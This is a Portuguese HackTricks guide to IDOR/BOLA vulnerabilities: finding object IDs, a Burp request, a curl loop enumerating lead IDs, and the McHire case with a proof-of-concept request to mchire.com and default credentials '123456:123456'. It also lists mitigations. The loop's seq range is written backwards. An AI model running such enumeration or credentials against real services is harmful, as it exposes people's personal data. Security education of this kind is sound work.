IDOR (Insecure Direct Object Reference)
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece quando um endpoint web ou de API divulga ou aceita um identificador controlado pelo usuário que é usado diretamente para acessar um objeto interno sem verificar se o chamador está autorizado a acessar/modificar esse objeto. A exploração bem-sucedida normalmente permite a escalada de privilégios horizontal ou vertical, como ler ou modificar dados de outros usuários e, no pior dos casos, a tomada total de conta ou exfiltração em massa de dados.
1. Identificando Potenciais IDORs
- Procure por parâmetros que referenciam um objeto:
- Caminho:
/api/user/1234
,/files/550e8400-e29b-41d4-a716-446655440000
- Consulta:
?id=42
,?invoice=2024-00001
- Corpo / JSON:
{"user_id": 321, "order_id": 987}
- Cabeçalhos / Cookies:
X-Client-ID: 4711
- Prefira endpoints que leem ou atualizam dados (
GET
,PUT
,PATCH
,DELETE
). - Observe quando os identificadores são sequenciais ou previsíveis – se seu ID é
64185742
, então64185741
provavelmente existe. - Explore fluxos ocultos ou alternativos (por exemplo, "membros da equipe Paradox" link em páginas de login) que podem expor APIs extras.
- Use uma sessão autenticada de baixo privilégio e mude apenas o ID mantendo o mesmo token/cookie. A ausência de um erro de autorização é geralmente um sinal de IDOR.
Quick manual tampering (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Enumeração automatizada (Burp Intruder / loop curl)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
2. Estudo de Caso do Mundo Real – Plataforma de Chatbot McHire (2025)
Durante uma avaliação do portal de recrutamento McHire alimentado por Paradox.ai, o seguinte IDOR foi descoberto:
- Endpoint:
PUT /api/lead/cem-xhr
- Autorização: cookie de sessão do usuário para qualquer conta de teste de restaurante
- Parâmetro do corpo:
{"lead_id": N}
– identificador numérico sequencial de 8 dígitos
Ao diminuir lead_id
, o testador recuperou PII completa de candidatos arbitrários (nome, e-mail, telefone, endereço, preferências de turno) além de um JWT de consumidor que permitia o sequestro de sessão. A enumeração do intervalo 1 – 64,185,742
expôs aproximadamente 64 milhões de registros.
Requisição de Prova de Conceito:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Combined with credenciais de administrador padrão (123456:123456
) que concediam acesso à conta de teste, a vulnerabilidade resultou em uma violação de dados crítica em toda a empresa.
3. Impacto do IDOR / BOLA
- Escalação horizontal – ler/atualizar/excluir dados de outros usuários.
- Escalação vertical – usuário com baixo privilégio ganha funcionalidade exclusiva de administrador.
- Violação de dados em massa se os identificadores forem sequenciais (por exemplo, IDs de candidatos, faturas).
- Tomada de conta ao roubar tokens ou redefinir senhas de outros usuários.
4. Mitigações & Melhores Práticas
- Impor autorização em nível de objeto em cada solicitação (
user_id == session.user
). - Preferir identificadores indiretos e imprevisíveis (UUIDv4, ULID) em vez de IDs auto-incrementais.
- Realizar autorização do lado do servidor, nunca confiar em campos de formulário ocultos ou controles de UI.
- Implementar verificações de RBAC / ABAC em um middleware central.
- Adicionar limitação de taxa e registro para detectar enumeração de IDs.
- Testar a segurança de cada novo endpoint (unitário, integração e DAST).
5. Ferramentas
- Extensões do BurpSuite: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Projetos do Github:
bwapp-idor-scanner
,Blindy
(caça IDOR em massa).
Referências
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.